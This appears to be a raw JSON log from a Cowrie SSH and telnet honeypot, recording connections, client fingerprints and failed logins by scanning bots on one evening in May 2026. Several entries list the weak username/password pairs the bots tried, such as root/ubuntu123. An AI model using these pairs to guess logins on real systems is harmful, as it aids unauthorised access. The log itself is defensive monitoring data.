{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:23.232532Z","src_ip":"181.97.227.163","session":"ccb1411f1bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"test1234","message":"login attempt [www/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:24.079566Z","src_ip":"181.97.227.163","session":"ccb1411f1bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:25.294121Z","src_ip":"181.97.227.163","session":"ccb1411f1bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:37:53.384252Z","src_ip":"223.83.114.88","session":"4f854cb0afdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":38996,"dst_ip":"10.17.0.5","dst_port":22,"session":"5de696435bf8","protocol":"ssh","message":"New connection: 103.125.103.201:38996 (10.17.0.5:22) [session: 5de696435bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:14.597246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:14.603049Z","src_ip":"103.125.103.201","session":"5de696435bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:14.843271Z","src_ip":"103.125.103.201","session":"5de696435bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test123","message":"login attempt [administrator/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:15.823870Z","src_ip":"103.125.103.201","session":"5de696435bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:17.065158Z","src_ip":"103.125.103.201","session":"5de696435bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":37594,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b1f1997f4eb","protocol":"ssh","message":"New connection: 154.81.14.172:37594 (10.17.0.5:22) [session: 7b1f1997f4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:17.933321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:17.937909Z","src_ip":"154.81.14.172","session":"7b1f1997f4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d31617000a","protocol":"ssh","message":"New connection: 181.97.227.163:38244 (10.17.0.5:22) [session: 71d31617000a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:31.514622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:31.519440Z","src_ip":"181.97.227.163","session":"71d31617000a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:31.736903Z","src_ip":"181.97.227.163","session":"71d31617000a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeradmin","password":"123456","message":"login attempt [dockeradmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:32.620052Z","src_ip":"181.97.227.163","session":"71d31617000a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":53688,"dst_ip":"159.203.135.109","dst_port":22,"session":"17521789ccf0","protocol":"ssh","message":"New connection: 43.173.69.147:53688 (159.203.135.109:22) [session: 17521789ccf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.761672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.766527Z","src_ip":"43.173.69.147","session":"17521789ccf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.825433Z","src_ip":"181.97.227.163","session":"71d31617000a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.834445Z","src_ip":"43.173.69.147","session":"17521789ccf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.900637Z","src_ip":"154.81.14.172","session":"7b1f1997f4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:33.909251Z","src_ip":"154.81.14.172","session":"7b1f1997f4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"newpass","message":"login attempt [user/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:34.139274Z","src_ip":"43.173.69.147","session":"17521789ccf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:35.210990Z","src_ip":"43.173.69.147","session":"17521789ccf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57556,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e02b0cb8f6","protocol":"ssh","message":"New connection: 103.158.40.65:57556 (159.203.135.109:22) [session: 88e02b0cb8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:44.515816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:44.523875Z","src_ip":"103.158.40.65","session":"88e02b0cb8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:44.744834Z","src_ip":"103.158.40.65","session":"88e02b0cb8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu123","message":"login attempt [root/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:45.672112Z","src_ip":"103.158.40.65","session":"88e02b0cb8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:38:46.894898Z","src_ip":"103.158.40.65","session":"88e02b0cb8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.117.251","src_port":50735,"dst_ip":"159.203.135.109","dst_port":23,"session":"a640cc0c7370","protocol":"telnet","message":"New connection: 37.186.117.251:50735 (159.203.135.109:23) [session: a640cc0c7370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:15.514766Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d81de20ca4d","protocol":"ssh","message":"New connection: 103.125.103.201:39078 (10.17.0.5:22) [session: 7d81de20ca4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:16.522098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:16.526582Z","src_ip":"103.125.103.201","session":"7d81de20ca4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:16.763835Z","src_ip":"103.125.103.201","session":"7d81de20ca4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hssuser","password":"hssuser","message":"login attempt [hssuser/hssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:17.743059Z","src_ip":"103.125.103.201","session":"7d81de20ca4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:18.983681Z","src_ip":"103.125.103.201","session":"7d81de20ca4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ce13f4b505","protocol":"ssh","message":"New connection: 181.97.227.163:33828 (10.17.0.5:22) [session: 39ce13f4b505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:35.749863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:35.755883Z","src_ip":"181.97.227.163","session":"39ce13f4b505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:35.955265Z","src_ip":"181.97.227.163","session":"39ce13f4b505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234567890","message":"login attempt [server/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:36.780764Z","src_ip":"181.97.227.163","session":"39ce13f4b505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:37.982341Z","src_ip":"181.97.227.163","session":"39ce13f4b505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75611662864685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:46.270755Z","src_ip":"37.186.117.251","session":"a640cc0c7370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.124.180.181","src_port":39732,"dst_ip":"159.203.135.109","dst_port":23,"session":"672707e38a36","protocol":"telnet","message":"New connection: 154.124.180.181:39732 (159.203.135.109:23) [session: 672707e38a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:47.102654Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":54266,"dst_ip":"10.17.0.5","dst_port":22,"session":"914357cce1fc","protocol":"ssh","message":"New connection: 154.81.14.172:54266 (10.17.0.5:22) [session: 914357cce1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:48.276789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:48.281186Z","src_ip":"154.81.14.172","session":"914357cce1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"033c894f701b","protocol":"ssh","message":"New connection: 103.158.40.65:46290 (159.203.135.109:22) [session: 033c894f701b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:52.517086Z"}
